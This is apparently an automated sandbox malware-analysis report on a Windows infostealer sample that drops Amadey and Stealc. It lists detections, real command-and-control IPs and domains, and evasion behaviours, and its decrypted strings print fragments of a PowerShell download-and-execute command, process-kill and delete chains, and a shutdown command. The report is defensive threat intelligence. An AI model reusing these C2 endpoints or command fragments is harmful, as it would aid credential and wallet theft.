Edit tour

Windows Analysis Report
o0cabS0OQn.exe

Overview

General Information

Sample name:	o0cabS0OQn.exe renamed because original name is a hash value
Original sample name:	80ef44e8078dd87d1399fc27fad67b01.exe
Analysis ID:	1581403
MD5:	80ef44e8078dd87d1399fc27fad67b01
SHA1:	5690860b154982423017e869a032499f6089cb95
SHA256:	e0ed19ef61b0cfa0a57f8347a1a5a139fb8cbda936694baeb9585e833c5c97c0
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

o0cabS0OQn.exe (PID: 6836 cmdline: "C:\Users\user\Desktop\o0cabS0OQn.exe" MD5: 80EF44E8078DD87D1399FC27FAD67B01)

E7IQS7PV5U0JQO6HRY65DRS.exe (PID: 3916 cmdline: "C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe" MD5: E8986E2F122CDFCFED4853174606574F)

ECPOM47708SKW2N887NP33WQCGSG.exe (PID: 6352 cmdline: "C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe" MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

skotes.exe (PID: 6984 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

skotes.exe (PID: 6548 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

skotes.exe (PID: 2164 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["screwamusresz.buzz", "rebuildeso.buzz", "inherineau.buzz", "appliacnesot.buzz", "cashfuzysao.buzz", "scentniej.buzz", "prisonyfork.buzz", "hummskitnj.buzz", "mindhandru.buzz"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1838712812.0000000001091000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1838635354.000000000108C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2163510853.00000000006F1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2935256752.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: o0cabS0OQn.exe PID: 6836	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: o0cabS0OQn.exe PID: 6836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: o0cabS0OQn.exe PID: 6836	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: E7IQS7PV5U0JQO6HRY65DRS.exe PID: 3916	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: E7IQS7PV5U0JQO6HRY65DRS.exe PID: 3916	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.ECPOM47708SKW2N887NP33WQCGSG.exe.760000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:03:39.102937+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.165.185	443	TCP
2024-12-27T15:03:41.350487+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T15:03:46.170487+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.165.185	443	TCP
2024-12-27T15:03:48.516912+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T15:03:50.804608+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T15:03:53.414366+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.165.185	443	TCP
2024-12-27T15:03:56.080880+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T15:04:01.059835+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:03:40.120321+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.165.185	443	TCP
2024-12-27T15:03:44.146108+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.165.185	443	TCP
2024-12-27T15:04:01.841943+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:03:40.120321+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:03:44.146108+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.165.185	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:03:49.342597+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	172.67.165.185	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:04:23.757949+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:05:06.737398+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49813	185.215.113.43	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: o0cabS0OQn.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpL	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php4	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php6	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/i	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiz2s	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ts	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiC	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apines	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpded	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/api%%	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: o0cabS0OQn.exe.6836.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["screwamusresz.buzz", "rebuildeso.buzz", "inherineau.buzz", "appliacnesot.buzz", "cashfuzysao.buzz", "scentniej.buzz", "prisonyfork.buzz", "hummskitnj.buzz", "mindhandru.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 56%

Multi AV Scanner detection for submitted file

Source: o0cabS0OQn.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: o0cabS0OQn.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: S-%lu-
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: skotes.exe
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Startup
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Programs
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: clip.dll
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: http://
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: https://
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /quiet
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Plugins/
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: &unit=
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shell32.dll
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProgramData\
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: AVAST Software
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Panda Security
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Doctor Web
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Bitdefender
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Norton
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Sophos
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Comodo
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: WinDefender
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0123456789
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ------
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ?scr=1
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ComputerName
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -unicode-
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: VideoID
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProductName
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: && Exit"
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && ren
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Powershell.exe
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp	String decryptor: random
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 07
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 01
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 20
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 25
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetProcAddress
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: LoadLibraryA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: lstrcatA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: OpenEventA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CreateEventA
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: CloseHandle
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Sleep
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: VirtualFree
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: GetSystemInfo
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: VirtualAlloc
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HeapAlloc
